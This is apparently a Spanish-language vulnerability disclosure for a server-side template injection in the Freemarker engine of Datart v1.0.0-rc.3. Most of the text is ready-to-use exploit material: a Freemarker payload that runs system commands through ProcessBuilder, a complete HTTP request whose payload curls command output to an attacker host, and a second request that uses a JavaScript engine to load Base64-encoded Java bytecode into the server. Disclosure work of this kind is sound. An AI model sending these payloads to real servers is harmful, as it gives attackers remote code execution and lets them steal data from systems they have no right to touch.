
Una vulnerabilidad de inyección de plantillas del lado del servidor (SSTI) en el motor de plantillas Freemarker de Datart v1.0.0-rc.3 permite a atacantes autenticados ejecutar código arbitrario mediante la inyección de sintaxis de plantilla Freemarker especialmente diseñada en el campo de script SQL.
El motor de plantillas Freemarker en Datart v1.0.0-rc.3 presenta una vulnerabilidad de inyección de plantillas del lado del servidor (SSTI). Un atacante autenticado puede ejecutar código arbitrario en el sistema inyectando sintaxis maliciosa de plantillas Freemarker en el campo de script SQL.
En el editor de scripts/consultas SQL (SQL script/query editor), introduzca el siguiente Payload de Freemarker para ejecutar comandos del sistema (por ejemplo, id o calc):
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
<#assign pb=ob("java.lang.ProcessBuilder",["bash","-c","id"])>
${pb.start()}
SELECT 1
Haga clic en ejecutar el script; el servidor ejecutará el comando en segundo plano.
El paquete de solicitud para desencadenar la vulnerabilidad a través de la API es el siguiente:
POST /api/v1/data-provider/execute/test HTTP/1.1
Host: target.com:8080
Content-Type: application/json
Authorization: Bearer {VALID_TOKEN}
{
"sourceId": "valid_source_id",
"script": "<#assign ob=\"freemarker.template.utility.ObjectConstructor\"?new()><#assign pb=ob(\"java.lang.ProcessBuilder\",[\"bash\",\"-c\",\"curl http://attacker.com/`whoami`\"])>${pb.start()}SELECT 1",
"scriptType": "SQL",
"size": 100
}
Un atacante puede utilizar javax.script.ScriptEngineManager de Java para invocar el motor JS y cargar y ejecutar bytecode Java arbitrario codificado en Base64.
Ejemplo de Payload:
POST /api/v1/data-provider/execute/test HTTP/1.1
Host: target.com:8080
Content-Type: application/json
Authorization: Bearer {VALID_TOKEN}
{
"script": "<#assign ob='freemarker.template.utility.ObjectConstructor'?new()><#assign sem=ob('javax.script.ScriptEngineManager')><#assign engine=sem.getEngineByName('js')><#assign result=engine.eval('var classLoader=java.lang.Thread.currentThread().getContextClassLoader();var className=\"org.apache.shiro.coyote.deserialization.impl.UnwrappedPropertyHandler\";var base64Str=\"yv66..\";try{classLoader.loadClass(className).newInstance()}catch(e){var clsString=classLoader.loadClass(\"java.lang.String\");var bytecode;try{var clsBase64=classLoader.loadClass(\"java.util.Base64\");var clsDecoder=classLoader.loadClass(\"java.util.Base64$Decoder\");var decoder=clsBase64.getMethod(\"getDecoder\").invoke(null);bytecode=clsDecoder.getMethod(\"decode\",clsString).invoke(decoder,base64Str)}catch(ee){try{var datatypeConverterClz=classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\");bytecode=datatypeConverterClz.getMethod(\"parseBase64Binary\",clsString).invoke(null,base64Str)}catch(eee){var clazz1=classLoader.loadClass(\"sun.misc.BASE64Decoder\");bytecode=clazz1.newInstance().decodeBuffer(base64Str)}}var clsClassLoader=classLoader.loadClass(\"java.lang.ClassLoader\");var clsByteArray=(new java.lang.String(\"a\").getBytes().getClass());var clsInt=java.lang.Integer.TYPE;var defineClass=clsClassLoader.getDeclaredMethod(\"defineClass\",[clsByteArray,clsInt,clsInt]);defineClass.setAccessible(true);var clazz=defineClass.invoke(classLoader,bytecode,new java.lang.Integer(0),new java.lang.Integer(bytecode.length));clazz.newInstance()}')>SELECT 1",
"sourceId": "valid_source_id",
"size": 1000,
"scriptType": "SQL",
"columns": "",
"variables": []
}